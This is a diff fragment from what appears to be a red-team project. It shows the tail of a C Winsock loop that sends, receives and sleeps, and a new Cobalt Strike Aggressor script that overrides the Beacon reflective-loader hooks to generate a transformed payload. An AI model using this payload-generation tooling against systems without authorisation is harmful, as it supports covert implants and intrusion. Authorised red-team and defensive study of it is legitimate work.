WSAGetLastError()); + } else { + recvBuffer[recvSize] = '\0'; + printf("Reply received: %s\n", recvBuffer); + } + + closesocket(sock); + Sleep(3000); + } + + WSACleanup(); + return 0; +} diff --git a/Utils/noUDRL.cna b/Utils/noUDRL.cna new file mode 100644 index 0000000..3cdd9e2 --- /dev/null +++ b/Utils/noUDRL.cna @@ -0,0 +1,20 @@ +# ------------------------------------ +# $1 = DLLfilename +# $2 = arch +# ------------------------------------ + +set BEACON_RDLL_SIZE { + warn("Running 'BEACON_RDLL_SIZE' for DLL " .$1. " with architecture " .$2); + return "0"; +} + +set BEACON_RDLL_GENERATE { + local('$arch $beacon $fileHandle $ldr $path $payload'); + $beacon = $2; + $arch = $3; + + # Apply the transformations to the beacon payload + $beacon = setup_transformations($beacon, $arch); + + return $beacon; + } \ No newline at end of file